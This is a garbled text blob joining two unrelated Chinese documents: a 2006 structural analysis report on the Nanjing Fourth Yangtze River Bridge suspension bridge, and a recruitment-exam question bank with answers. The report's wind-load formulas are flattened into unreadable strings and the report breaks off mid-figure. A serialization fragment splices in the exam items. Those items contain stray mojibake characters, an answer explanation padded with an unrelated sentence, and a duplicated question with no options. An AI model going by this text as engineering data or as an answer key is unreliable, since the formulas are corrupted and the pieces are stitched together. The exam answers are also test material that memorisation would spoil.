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"南京长江第四大桥三跨吊悬索桥总体分析报告（主跨1418米）中交公路规划设计院有限公司二OO六年十二月南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司I目录1.结构概述结构概述.32.采用规范、计算依据及计算程序采用规范、计算依据及计算程序.32.1.基本规范.32.2.参考规范.42.3.计算依据及计算程序.43.结构分析参数结构分析参数.53.1.材料特性.53.1.1.混凝土.53.1.2.钢材.53.1.3.高强钢丝.53.2.计算荷载.53.2.1.恒载（D）.53.2.2.活载（L）.83.2.3.温度荷载（T）.83.2.4.风荷载（W、WL）.83.3.荷载组合.123.4.主梁约束条件.124.总体结构受力分析总体结构受力分析.134.1.分析模型.134.1.1.模型简介.134.2.施工阶段主要分析结果.144.2.1.1.空缆状态.144.2.1.2.成桥状态.144.3.运营阶段分析.164.3.1.计算工况.164.3.2.运营阶段总体分析结果.164.3.2.1.组合一：

@#@D+L（8/6）.164.3.2.2.组合二：

@#@D+L（8/6）+T（+/-）.264.3.2.3.组合三：

@#@D+L（8/6）+WL（顺）+T（+/-）.354.3.2.4.组合四：

@#@D+W（顺）+T（+/-）.374.3.2.5.组合五：

@#@D+W（横）+T（+/-）.424.3.3.运营阶段总体计算结果小结.47南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司II4.3.3.1.内力和应力基本情况：

@#@.474.3.3.2.支座反力.494.3.3.3.活载位移.49附录一：

@#@空缆状态线形数据附录一：

@#@空缆状态线形数据.51附录二：

@#@成桥状态线形数据附录二：

@#@成桥状态线形数据.65南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司31.结构概述结构概述本方案为主跨1418米三跨吊钢箱梁悬索桥，为南京长江第四大桥主桥初步设计阶段推荐方案。

@#@主缆三跨布置为58314184742475m；@#@主梁跨径布置为41714183572192m；@#@北边跨吊杆布置为11+2615+16=417m，中跨吊杆布置为1631153015.23115161418m，南边跨吊杆布置为16221511357m。

@#@主缆矢跨比1/9，矢高157.5m；@#@南北索塔IP点标高234.200m，北锚散索鞍IP点标高25.000m，南锚散索鞍IP点标高24.000m。

@#@（如图1.1）16600主桥248000157501100+261500+1600=417001600+311500+301520+311500+1600=1418001600+221500+1100=3570012200六合栖霞25.00024.000图1.1主桥总体布置图2.采用规范、计算依据及计算程序采用规范、计算依据及计算程序2.1.基本规范基本规范?

@#@公路工程技术标准（JTGB01-2004）?

@#@公路工程结构可靠度设计统一标准（GB/T50283-1999）?

@#@公路桥涵设计通用规范（JTGD60-2004）?

@#@公路钢筋混凝土及预应力混凝土桥涵设计规范（JTGD62-2004）?

@#@公路桥涵地基与基础设计规范（JTJ024-1985）?

@#@公路桥涵钢结构及木结构设计规范（JTJ025-1986）?

@#@公路工程抗震设计规范（JTJ004-1989）?

@#@公路桥梁抗风设计规范（JTG/TD60-01-2004）?

@#@公路路线设计规范（JTJ011-1994）?

@#@公路建设项目环境影响评价规范（试行）（JT005-1996）南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司4?

@#@公路环境保护设计规范（JTJ/T006-1998）?

@#@公路勘测规范（JTJ061-1999）?

@#@公路工程地质勘察规范（JTJ064-1998）?

@#@桥梁用结构钢（GB/T714-2000）?

@#@公路桥涵施工技术规范（JTJ027-2000）?

@#@公路工程质量检验评定标准（JTJ071-1998）?

@#@高速公路交通安全设施设计及施工技术规范（JTJ074-1994）2.2.参考规范参考规范?

@#@钢桥、混凝土桥及结合桥（英国标准学会，BS54001978-82版）?

@#@道路桥示方书.同解说（日本道路协会，平成8年12月）?

@#@钢床版设计要领.同解说（日本本四国联络公团，1989）?

@#@上部构造设计基准.同解说（日本本四国联络公团，1989）?

@#@美国公路桥梁设计规范（AASHTO，1994）?

@#@德国道路和人行钢桥设计与施工标准（DINI8809）?

@#@铁路桥涵设计规范（TBJ2-96）?

@#@海港水文规范（JTJ213）?

@#@建筑桩基础技术规范（JGJ94-94）?

@#@公路桥梁抗风设计指南2.3.计算依据及计算程序计算依据及计算程序计算依据为南京长江第四大桥主桥初步设计图纸及相关专题研究成果。

@#@计算程序采用ANSYS。

@#@南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司53.结构分析参数结构分析参数3.1.材料特性材料特性3.1.1.混凝土混凝土桥塔混凝土标号C50，弹性模量3.45E4MPa，密度2600kg/m3，泊松比0.2，线膨胀系数1.0E-5。

@#@3.1.2.钢材钢材钢箱梁采用Q345D，弹性模量2.10E5MPa，密度7850kg/m3，泊松比0.3，线膨胀系数1.2E-5。

@#@3.1.3.高强钢丝高强钢丝主缆钢丝强度级别1770MPa，弹性模量2.00E5MPa，密度7850kg/m3，泊松比0.3，线膨胀系数1.2E-5。

@#@吊索平行钢丝强度级别1670MPa，弹性模量2.00E5MPa，密度7850kg/m3，泊松比0.3，线膨胀系数1.2E-5。

@#@3.2.计算荷载计算荷载3.2.1.恒载（恒载（D）1）钢箱梁过渡墩及索塔附近钢箱梁采用加强钢箱梁，其余位置为标准钢箱梁。

@#@标准钢箱梁相关参数：

@#@项目项目单位单位数量数量加劲梁类型扁平钢箱梁面积m21.441038竖向抗弯惯性矩m42.7508横向抗弯惯性矩m41.5512E2钢箱梁扭转惯性矩m7.5636南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司6梁高m3.4重心相对于底缘高度m2.079梁宽m33.972主梁重（一期）kN/m145.7207（15m）145.3775（15.2m）铺装栏杆排水等（二期）kN/m42.532弹性模量MPa2.1e5泊松比0.3材料线膨胀系数1/1.2e-5索塔附近钢箱梁相关参数：

@#@项目项目单单位位数量数量加劲梁类型扁平钢箱梁面积m21.578727竖向抗弯惯性矩m43.1796横向抗弯惯性矩m41.6855E2扭转惯性矩m7.6187梁高m3.4重心相对于底缘高度m1.928钢箱梁梁宽m33.972主梁重（一期）kN/m156.3117铺装栏杆排水等（二期）kN/m42.532弹性模量MPa2.1e5泊松比0.3材料线膨胀系数1/1.2e-5过渡墩附近钢箱梁相关参数：

@#@项目项目单位单位数量数量加劲梁类型扁平钢箱梁面积m21.474671竖向抗弯惯性矩m42.8032横向抗弯惯性矩m41.5591E2扭转惯性矩m7.5706梁高m3.4重心相对于底缘高度m2.079钢箱梁梁宽m33.972南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司7主梁重（一期）kN/m148.3055铺装栏杆排水等（二期）kN/m42.532弹性模量MPa2.1e5泊松比0.3材料线膨胀系数1/1.2e-55）缆索系统主缆相关参数：

@#@项目项目单位单位中跨中跨北边跨北边跨南边跨南边跨大缆根数根222钢丝直径mm5.355.355.35索股钢丝根数根127127127索股股数股127131133钢丝面积m20.362580.3740.37971直径m755767773主缆钢丝重kg/m2846.32935.92980.7缠丝.等重kg/m65.666.767.2主缆重kg/m2911.93002.63047.9单缆主缆等效密度kg/m38031.18028.38026.9弹性模量MPa2E52E52E5泊松比0.30.30.3线膨胀系数1/1.2E-51.2E-51.2E-5材料钢丝强度MPa177017701770吊索相关参数：

@#@一般吊索选用5-87平行钢丝拉索，塔两侧各两根吊索选用5-313拉索，端吊索采用钢结构构件。

@#@（索夹重量在总体计算中另计）587吊索相关参数：

@#@项目项目单位单位吊索类型平行钢丝直径m面积m20.001708延米重量kg/m15.1单根吊索吊索等效密度kg/m38839.5弹性模量MPa2.0e5材料泊松比南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司8线膨胀系数1/1.2e-5钢丝强度MPa16705313吊索相关参数：

@#@项目项目单位单位吊索类型平行钢丝直径m面积m20.0061457延米重量kg/m52.24单根吊索吊索等效密度kg/m38500.9弹性模量MPa2.0e5泊松比线膨胀系数1/1.2e-5材料钢丝强度MPa16703.2.2.活载（活载（L）根据公路桥涵设计通用规范，汽车荷载按公路-I级计算。

@#@按8车道计算，考虑横向折减系数0.5，纵向折减系数0.93，偏载系数1.08，不考虑冲击系数；@#@按6车道计算，考虑横向折减系数0.55，纵向折减系数0.93，偏载系数1.08，不考虑冲击系数。

@#@3.2.3.温度荷载（温度荷载（T）钢构件：

@#@升温20，降温34混凝土构件：

@#@升温20，降温343.2.4.风荷载（风荷载（W、WL）1）、主梁1）、主梁横桥向阻力：

@#@HCVFHgH221=式中，3/25.1mkg=，主梁VVg=38.1。

@#@南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司9百年风：

@#@HCVFHgH221=0.51.25（1.3842.2）20.953.46.85（kN/m）运营风：

@#@HCVFHgH221=0.51.25（1.3825.0）20.953.42.40（kN/m）顺桥向阻力：

@#@scVFfgH221=式中，s为主梁周长。

@#@百年风：

@#@scVFfgH221=0.51.25（1.3842.2）20.0176.721.63（kN/m）运营风：

@#@scVFfgH221=0.51.25（1.3825.0）20.0176.720.57（kN/m）主梁升力：

@#@BCVFVgV221=百年风：

@#@3=VF0.51.25（1.3842.2）2-0.537.7-39.96（kN/m）3+=VF0.51.25（1.3842.2）20.1537.711.99（kN/m）运营风：

@#@3=VF0.51.25（1.3825.0）2-0.537.7-14.02（kN/m）3+=VF0.51.25（1.3825.0）20.1537.74.21（kN/m主梁升力矩：

@#@2221BCVFMgM=南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司10百年风：

@#@3=MF0.51.25（1.3842.2）2-0.0737.737.7-210.88（kN.m/m）3+=MF0.51.25（1.3842.2）20.0737.737.7210.88（kN.m/m）运营风：

@#@3=MF0.51.25（1.3825.0）2-0.0737.737.7-74.01（kN.m/m）3+=MF0.51.25（1.3825.0）20.0737.737.774.01（kN.m/m）2）、索塔）、索塔横桥向阻力：

@#@百年风迎风侧塔柱：

@#@HCVFHgH221=0.51.25（1.3847.7）22.01054.16（kN/m）背风侧塔柱：

@#@HCVFHgH221=0.51.25（1.3847.7）21.01027.08（kN/m）运营风迎风侧塔柱：

@#@HCVFHgH221=0.51.25（1.3828.3）22.01019.07（kN/m）背风侧塔柱：

@#@HCVFHgH221=0.51.25（1.3828.3）21.0109.53（kN/m）顺桥向阻力：

@#@百年风塔柱：

@#@南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司11HCVFHgH221=0.51.25（1.3847.7）22.0737.91（kN/m）上横梁：

@#@HCVFHgH221=0.51.25（1.3850.55）22.0636.50（kN/m）下横梁：

@#@HCVFHgH221=0.51.25（1.3840.87）22.0623.86（kN/m）弧形装饰横梁:

@#@HCVFHgH221=0.51.25（1.3848.81）22.0317.01（kN/m）菱形装饰立柱:

@#@HCVFHgH221=0.51.25（1.3849.71）21.41.56.18（kN/m）运营风塔柱：

@#@HCVFHgH221=0.51.25（1.3828.3）22.0713.35（kN/m）上横梁：

@#@HCVFHgH221=0.51.25（1.3829.98）22.0612.84（kN/m）下横梁：

@#@HCVFHgH221=0.51.25（1.3824.24）22.068.40（kN/m）弧形装饰横梁:

@#@HCVFHgH221=0.51.25（1.3828.95）22.035.99（kN/m）菱形装饰立柱:

@#@HCVFHgH221=0.51.25（1.3829.48）21.41.52.17（kN/m）3）、主缆）、主缆横桥向阻力百年风：

@#@HCVFHgH221=0.51.25（1.3847.7）20.70.761.44（kN/m）运营风：

@#@HCVFHgH221=0.51.25（1.3828.3）20.70.760.51（kN/m）南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司12顺桥向阻力百年风：

@#@HCVFHgH221=0.51.25（1.3847.7）20.070.760.14（kN/m）运营风：

@#@HCVFHgH221=0.51.25（1.3828.3）20.070.760.05（kN/m）3.3.荷载组合荷载组合根据公路桥涵设计通用规范（JTGD60-2004）除对施工阶段进行控制计算外，使用阶段分别针对不同构件进行不同组合，当汽车、温度荷载与恒载效应组合时，均为选择性组合即不利时参与组合，有利时不参与组合。

@#@组合一：

@#@D+L（8/6）组合二：

@#@D+L（8/6）+T（+/-）组合三：

@#@D+L（8/6）+WL（顺）+T（+/-）组合四：

@#@D+W（顺）+T（+/-）组合五：

@#@D+W（横）+T（+/-）3.4.主梁约束条件主梁约束条件钢箱梁桥面连续、全漂浮，仅在过渡墩设置竖向支座；@#@索塔位置设置横向抗风支座，过渡墩位置设置横向阻尼器；@#@索塔位置通过纵向弹性限位支座抵抗强风、活载制动、地震等冲击荷载。

@#@约束形式如图3.1：

@#@图3.1约束形式示意主索鞍散索鞍端吊索主索鞍散索鞍端吊索横向抗风支座横向抗风支座纵向弹性限位支座竖向支座横向阻尼器横向阻尼器横向抗风支座横向抗风支座纵向弹性限位支座竖向支座横向阻尼器横向阻尼器南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司134.总体结构受力分析总体结构受力分析4.1.分析模型分析模型4.1.1.模型简介模型简介本次计算根据悬索桥有限元计算理论，通过对大型通用有限元计算程序Ansys的二次开发，利用其优秀的前后处理及求解平台，成功解决了大跨度悬索桥在ansys中的精细分析，同时完成线形及内力的求解过程。

@#@在针对非线性活载的计算问题上，本次计算参考了唐茂林的博士论文大跨度悬索桥空间几何非线性分析与软件开发，采用了相同的计算原理。

@#@如图所示为本次计算结构离散图，主梁及索塔采用beam44单元，吊杆采用link8单元，主缆采用link8单元，通过加密单元划分模拟其索的特性。

@#@图4.1总体计算离散图南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司144.2.施工阶段主要分析结果施工阶段主要分析结果根据悬索桥的施工和受力特点，本次计算以重大体系转变为节点模拟了施工过程。

@#@以下是关于空缆状态和成桥状态的分析成果：

@#@（空缆状态指仅考虑主缆钢丝重量的主缆受力状态；@#@成桥状态指铺装完成、结构体系形成，无外荷载作用的全桥受力状态。

@#@）4.2.1.1.空缆状态主要计算成果是主缆的线形状态，详见附录一。

@#@4.2.1.2.成桥状态全桥线形计算成果详见附录二。

@#@（其中主梁成桥线形与理论线形一致，结果未示）成桥状态主缆轴力：

@#@2.00E+052.05E+052.10E+052.15E+052.20E+052.25E+052.30E+052.35E+052.40E+05图4.2成桥状态主缆轴力（单位：

@#@kN）图中四根竖线自左至右分别代表北过渡墩、北塔、南塔和南过渡墩位置，下文除特别说明外，均为此含义。

@#@成桥状态主梁弯矩：

@#@南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司15图4.3成桥状态主梁弯矩（单位：

@#@kN.m）吊杆拉力：

@#@（包括自重）05001000150020002500300035004000N28N22N16N10N4C3C9C15C21C27C33C39C45C51C57C63C69C75C81C87C93S6S12S18S24图4.4成桥状态吊杆拉力（单位：

@#@kN）（单侧）南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司164.3.运营阶段分析运营阶段分析4.3.1.计算工况计算工况以下运营阶段计算成果包括以下工况：

@#@?

@#@组合一：

@#@D+L（8/6）?

@#@组合二：

@#@D+L（8/6）+T（+/-）?

@#@组合三：

@#@D+L（8/6）+WL（顺）+T（+/-）?

@#@组合四：

@#@D+W（顺）+T（+/-）?

@#@组合五：

@#@D+W（横）+T（+/-）4.3.2.运营阶段总体分析结果运营阶段总体分析结果以下列出了上述七种工况的主要计算结果：

@#@（8表示8车道；@#@6表示6车道）4.3.2.1.组合一：

@#@D+L（8/6）?

@#@组合一主缆轴力包络图（8）：

@#@2.00E+052.10E+052.20E+052.30E+052.40E+052.50E+052.60E+052.70E+052.80E+05图4.5组合一主缆轴力包络图（8）（单位：

@#@kN）?

@#@组合一主缆轴力包络图（6）：

@#@南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司172.00E+052.10E+052.20E+052.30E+052.40E+052.50E+052.60E+052.70E+05图4.6组合一主缆轴力包络图（6）（单位：

@#@kN）?

@#@组合一主梁弯矩包络图（8）：

@#@图4.7组合一主梁弯矩包络图（8）（单位：

@#@kN.m）?

@#@组合一主梁弯矩包络图（6）：

@#@图4.8组合一主梁弯矩包络图（6）（单位：

@#@kN.m）?

@#@组合一主梁上缘应力包络图（8）：

@#@南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司18图4.9组合一主梁上缘应力包络图（8）（单位：

@#@kPa）?

@#@组合一主梁下缘应力包络图（8）：

@#@图4.10组合一主梁下缘应力包络图（8）（单位：

@#@kPa）?

@#@组合一主梁上缘应力包络图（6）：

@#@南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司19图4.11组合一主梁上缘应力包络图（6）（单位：

@#@kPa）?

@#@组合一主梁下缘应力包络图（6）：

@#@图4.12组合一主梁下缘应力包络图（6）（单位：

@#@kPa）?

@#@组合一吊杆拉力包络图（8）：

@#@-1000010002000300040005000600070008000N28N21N14N7C1C8C15C22C29C36C43C50C57C64C71C78C85C92S6S13S20图4.13组合一吊杆拉力包络图（8）（单位：

@#@kN）?

@#@组合一吊杆拉力包络图（6）：

@#@010002000300040005000600070008000N28N21N14N7C1C8C15C22C29C36C43C50C57C64C71C78C85C92S6S13S20图4.14组合一吊杆拉力包络图（6）（单位：

@#@kN）南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司20?

@#@组合一索塔轴力包络图（8）：

@#@图4.15组合一索塔轴力包络图（8）（单位：

@#@kN）?

@#@组合一索塔轴力包络图（6）：

@#@图4.16组合一索塔轴力包络图（6）（单位：

@#@kN）南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司21?

@#@组合一索塔弯矩包络图（8）：

@#@图4.17组合一索塔弯矩包络图（8）（单位：

@#@kN.m）?

@#@组合一索塔弯矩包络图（6）：

@#@图4.18组合一索塔弯矩包络图（6）（单位：

@#@kN.m）（弯矩绘制在塔柱受拉侧。

@#@）南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司22?

@#@组合一索塔剪力包络图（8）：

@#@图4.19组合一索塔剪力包络图（8）（单位：

@#@kN）（注：

@#@图中所示为单元剪力。

@#@由于计算考虑了几何非线性，受到单元变形和自重的影响，故上下单元剪力有变化。

@#@需要说明的是，本组合塔柱各单元水平分力相等。

@#@）?

@#@组合一索塔剪力包络图（6）：

@#@图4.20组合一索塔剪力包络图（6）（单位：

@#@kN）南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司23?

@#@主缆活载竖向位移包络图（8）：

@#@-4-3-2-10123图4.21主缆活载竖向位移包络图（8）（单位：

@#@m）?

@#@主缆活载竖向位移包络图（6）：

@#@-4-3-2-10123图4.22主缆活载竖向位移包络图（6）（单位：

@#@m）?

@#@主缆活载水平位移包络图（8）：

@#@-1.2-0.9-0.6-0.300.30.60.91.2图4.23主缆活载水平位移包络图（8）（单位：

@#@m）南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司24?

@#@主缆活载水平位移包络图（6）：

@#@-1.2-0.9-0.6-0.300.30.60.91.2图4.24主缆活载水平位移包络图（6）（单位：

@#@m）?

@#@主梁活载竖向位移包络图（8）：

@#@-4-3-2-10123图4.25主梁活载竖向位移包络图（8）（单位：

@#@m）?

@#@主梁活载竖向位移包络图（6）：

@#@-4-3-2-10123图4.26主梁活载竖向位移包络图（6）（单位：

@#@m）南京长江第四大桥三跨吊悬索桥总体分析Dec.2006中交公路规划设计院有限公司25?

@#@主梁活载转角位移包络图（8）：

@#@-0.02-0.015-0.01-0.00500.0050.010.0150.02图4.27主梁活载转角位移包络图（8）（单位：

@#@弧度）?

@#@主梁活载转角位移包络图（6）：

@#@-0.02-0.015-0.01-0.00500.0050.010.0150.02图4.28主梁活载转角位移包络图（6）（单位：

@#@弧度）8车道活载作用下，梁端最大水平位移0.765m，最小水平位移0.750m。

@#@6车道活载作用下，梁端最大水平位移0.635m，最小水平位移0.622m。

@#@?

@#@索塔活载水平位移包络图（8）：

@#@050100150200250-0.4-0.3-0.2-0.10.00.10.20.";i:

11;s:

26824:

"桓仁满族自治县国投集团招聘《综合基础知识》试题及解析@#@　　说明：

@#@本题库收集历年及近期考试真题，全方位的整理归纳备考之用。

@#@@#@　　注意事项：

@#@@#@　　1、答题前，考试务必将自己的姓名，准考证号用黑色签字笔或钢笔填写在答题纸规定的位置。

@#@@#@　　2、监考人员宣布考试结束时，你应立即停止作答。

@#@将题本、答题卡和草稿纸都翻过来留在桌上，待监考人员确认数量无误、允许离开后方可离开。

@#@@#@　　3、特别提醒您注意，所有题目一律在答题卡指定位置答题。

@#@未按要求作答的，不得分。

@#@@#@　　一、选择题（在下列每题四个选项中选择符合题意的，将其选出并把它的标号写在题后的括号内。

@#@@#@　　错选、多选或未选均不得分。

@#@）@#@　　1、下列批办意见不恰当的是（）。

@#@@#@　　A、拟同意@#@　　B、同意，请XX科承办@#@　　C、请XX同志阅处@#@　　D、阅@#@　　【答案】AD@#@　　【解析】批办不能只阅不批，或是只批“拟同意”或“阅”之类模棱两可文字，必须提出具体可行的批办意见，提出如何具体组织解决公文中提到的问题。

@#@所以答案选AD。

@#@@#@　　2、下列选项中体现出了同一哲学道理，除了（）。

@#@@#@　　A、对症下药@#@　　B、与时偕行@#@　　C、见风使舵@#@　　D、入乡随俗@#@　　【答案】B@#@　　【解析】@#@　　A、C、D三项都体现出了具体问题具体分析的哲理，而B项体现的是发展的观点。

@#@故选B。

@#@@#@　　3、对下列诗词蕴含的化学原理解释错误的是（）。

@#@@#@　　A、蜡炬成灰泪始干——烃类的不完全燃烧@#@　　B、爆竹声中一岁除——爆炸产生二氧化硫@#@　　C、日照香炉生紫烟——多环芳香烃的升华@#@　　D、洪炉照破夜沉沉——燃烧释放二氧化碳@#@　　【答案】C@#@　　【解析】A项，“蜡炬成灰泪始干”中的“灰”是指蜡烛不完全燃烧生成的碳（黑色）和蜡烛一些中杂质燃烧后的产物，属于烃类的不完全燃烧。

@#@A项正确。

@#@@#@　　B项，“爆竹声中一岁除”中的“爆竹”成分中含有硫磺，硫磺中含有硫，硫燃烧产生二氧化硫。

@#@B项正确。

@#@C项，“日照香炉生紫烟”是物理变化，紫烟是因香炉峰的水受热由液态变为气态而产生的。

@#@因此C项错误，当选。

@#@@#@　　D项，“洪炉照破夜沉沉”中的“洪炉”因烧炭而产生二氧化碳。

@#@D项正确。

@#@@#@　　4、企业产品成本的降低意味着（）。

@#@@#@　　A、生产单位产品耗费的活劳动和物化劳动的增加@#@　　B、生产单位产品耗费的活劳动和物化劳动的减少@#@　　C、生产单位产品耗费的活劳动和物化劳动的不变@#@　　D、生产单位产品耗费的活劳动和物化劳动的总和固定@#@　　【答案】B@#@　　【解析】活劳动是指人的劳动，物化劳动是指生产资料是死劳动。

@#@成本由c+v组成，它的降低意味着c降低，表现为不变资本消耗的减少；@#@同时也可以表现为v的减少。

@#@故选B。

@#@@#@　　5、尽管新的生产要素能够提高农业产量，但在现实中往往能看到许多传统农民拒绝接受和采用这种包含着新的技术变化的许多生产要素。

@#@这是因为（）。

@#@@#@　　A、传统农民是保守的@#@　　B、传统农民懒惰@#@　　C、传统农民不愿进行过多的劳动@#@　　D、农民对风险的承受能力差@#@　　【答案】D@#@　　【解析】农民对于风险的承受能力是很弱的，因为靠天吃饭的农业存在着极大的不稳定性，而新的技术变化的生产要素具有很强的风险性，所以一般农民不愿意接受。

@#@@#@　　6、价格与价值的关系是（）。

@#@@#@　　A、价格受供求关系的影响围绕价值上下波动@#@　　B、价格决定价值@#@　　C、无必然联系@#@　　D、价值就是价格@#@　　【答案】A@#@　　【解析】本题考查的是价值规律。

@#@价值规律是通过价格围绕价值上下波动表现出来的。

@#@由于受到供求关系的影响，某种商品供不应求，价格上涨，供过于求，价格下跌。

@#@价格与供求之间存在着双向制约的关系，供求变化会引起价格波动，商品生产者又会根据价格的涨落及时调整投资方向和生产规模，使供求达到动态平衡，从而使价格以价值为轴心上下波动。

@#@故本题选择A。

@#@@#@　　7、公文的正文逻辑结构可分三部分，（）是正文的中心部分。

@#@@#@　　A、分析问题@#@　　B、解决问题@#@　　C、提出问题@#@　　D、介绍经过@#@　　【答案】A@#@　　【解析】公文的内在结构有一条基本规律，这就是：

@#@提出问题——分析问题——解决问题。

@#@三部分中分析问题是公文最重要的部分，是公文的重点。

@#@故选A。

@#@@#@　　8、下列谚语中，描绘云贵高原的是（）。

@#@@#@　　A、春雨贵如油@#@　　B、早穿棉袄午穿纱，围着火炉吃西瓜@#@　　C、远看是山，近看成川@#@　　D、天无三日晴，地无三尺平@#@　　【答案】D@#@　　【解析】A项错误：

@#@@#@　　“春雨贵如油”重点在于春天是农作的生长期，需要水，春雨很重要，和云贵高原没有关系。

@#@B项错误：

@#@形容新疆地区，新疆早晚温差较大。

@#@C项错误：

@#@形容青藏地区，青藏高原的海拔很高，从远处看就是一座大山；@#@但内部山脉的高度差不大，因此近看一马平川。

@#@D项正确：

@#@贵州一带年平均阴雨日数达到100天，地形崎岖。

@#@故选D。

@#@@#@　　9、在一些嘈杂的场所，经常看到一些用玻璃制作的电话亭，其隔音效果很好，这是因为（）。

@#@@#@　　A、声音在玻璃中不能传播@#@　　B、电话亭内的声音传播介质——空气太少了@#@　　C、电话亭内打电话者与电话亭外人群的声音被玻璃反射了@#@　　D、电话亭内打电话者与电话亭外人群的声音被玻璃吸收了@#@　　【答案】C@#@　　【解析】由于玻璃表面光滑，不易于吸收声音，是声音的优良反射体，这样传到电话亭外面的声音较少，起到了良好的隔音效果。

@#@@#@　　10、下列不属于行政决策的特征的是（）。

@#@@#@　　A、决策主体的特定性@#@　　B、决策内容的广泛性@#@　　C、决策的程序性@#@　　D、决策的权威性@#@　　【答案】C@#@　　【解析】情况有时候会是突发的，这个时候的决策也就不可能按照程序来进行。

@#@因此决策的程序性不属于行政决策的特征。

@#@@#@　　11、下列四组地名中，按所在经度由东向西依次排列的是（）。

@#@@#@　　A、上海、天津、北京、西安@#@　　B、华山、普陀山、庐山、九华山@#@　　C、洪泽湖、洞庭湖、鄱阳湖、滇池@#@　　D、中山陵、大雁塔、龙门石窟、嘉峪关@#@　　【答案】A@#@　　【解析】A项中最东为上海，最西为西安，天津位于北京东面，排序正确。

@#@B项中位于东海的普陀山最东，位于秦岭的华山最西，江西庐山东北面是安徽的九华山，排序错误。

@#@C项云南昆明的滇池最西，江苏、山东交界处的洪泽湖最东，但湖南洞庭湖位于江西鄱阳湖之西，排序错误。

@#@D项中洛阳的龙门石窟位于西安大雁塔的东面，排序也是错误的。

@#@故选A。

@#@@#@　　12、两种不同的使用价值相互交换的量的比例关系取决于（）。

@#@@#@　　A、效用@#@　　B、交换价值@#@　　C、价值@#@　　D、供求关系@#@　　【答案】B@#@　　【解析】交换价值首先表现为一种使用价值同另一种使用价值交换的量的关系或比例。

@#@@#@　　13、下列学者观点与其代表的哲学派别对应正确的一项是（）。

@#@@#@　　A、泰勒斯：

@#@万物产生于水——古代朴素唯物主义@#@　　B、陆象山：

@#@宇宙便是吾心，吾心即是宇宙——客观唯心主义@#@　　C、老子：

@#@道生万物，道就是无——主观唯心主义@#@　　D、德谟克利特：

@#@一切事物都是由不能再分的物质微粒——原子组成的——形而上学唯物主义@#@　　【答案】A@#@　　【解析】A项认为水是世界的本原，把“物质”理解为自然界中一种或几种具体的物质形态，属于古代朴素唯物主义理论，正确。

@#@B项认为“心”是世界的本原属于主观唯心主义的思想。

@#@C项认为“道”是万物的本原属于客观唯心主义的观点가ከᏩ‫☵ڌ☵ڌ‬䃠ණ왈ඓ䃠ණ⠌가@#@　　14、变更或撤销下级机关不适当的决定事项应使用的文种是（）。

@#@@#@　　A、命令@#@　　B、决定@#@　　C、通知@#@　　D、意见@#@　　【答案】B@#@　　【解析】在13种公文种类中，“决定”适用于对重要事项作出决策和部署、奖惩有关单位和人员、变更或者撤销下级机关不适当的决定事项。

@#@@#@　　15、一种认识是不是真理，要看它（）。

@#@@#@　　A、能否满足人们的需要@#@　　B、能否被多数人认可@#@　　C、能否付诸实践@#@　　D、能否在实践中最终取得预期的效果@#@　　【答案】D@#@　　【解析】实践是检验真理的唯一标准，所以判断一种认识是不是真理，要看它能否在实践中最终取得预期的效果。

@#@故选D。

@#@@#@　　16、下列属于批复的特点的是（）。

@#@@#@　　A、下行性@#@　　B、针对性@#@　　C、结论性@#@　　D、及时性@#@　　【答案】ABCD@#@　　【解析】批复的特点:

@#@1,下行性。

@#@批复仅能用于下行文。

@#@@#@　　2,针对性。

@#@批复是专为请示而设臵的文种，其主送机关是呈送请示的下级机关。

@#@@#@　　3,结论性。

@#@批复是针对请示问题的答复，只用作出结论即可，不必展开论述，内容较为简练。

@#@@#@　　4,及时性。

@#@上级机关批复下级机关的请示要迅速，以免耽误下级机关的工作进展。

@#@@#@　　17、货币的本质是（）。

@#@@#@　　A、购买商品@#@　　B、充当交换物@#@　　C、充当投资物@#@　　D、充当一般等价物@#@　　【答案】D@#@　　【解析】本题考查货币的本质。

@#@货币的本质就是一般等价物，具有价值尺度、流通手段、支付手段、贮藏手段、世界货币的职能。

@#@故本题选D。

@#@@#@　　18、（）把人视为一种资源，强调人和事的统一发展，注重开发人的潜力和促进人的全面发展。

@#@@#@　　A、系统原则@#@　　B、效益原则@#@　　C、自由原则@#@　　D、人本原则@#@　　【答案】D@#@　　【解析】@#@　　“不落后别人，如有可能要高别人一筹”是指希望自己获得实力、成就、独立等，希望得到他人的赏识和高度评价。

@#@人本原则要求人们在管理活动中坚持一切以人为核心，以人的权利为根本，强调人的主观能动性，力求实现人的全面、自由发展。

@#@其实质就是充分肯定人在管理活动中的主体地位和作用。

@#@同时，通过激励调动和发挥员工的积极性和创造性，引导员工去实现预定的目标。

@#@故选D。

@#@@#@　　19、（）把人视为一种资源，强调人和事的统一发展，注重开发人的潜力和促进人的全面发展。

@#@人本原则要求人们在管理活动中坚持一切以人为核心，以人的权利为根本，强调人的主观能动性，力求实现人的全面、自由发展。

@#@其实质就是充分肯定人在管理活动中的主体地位和作用。

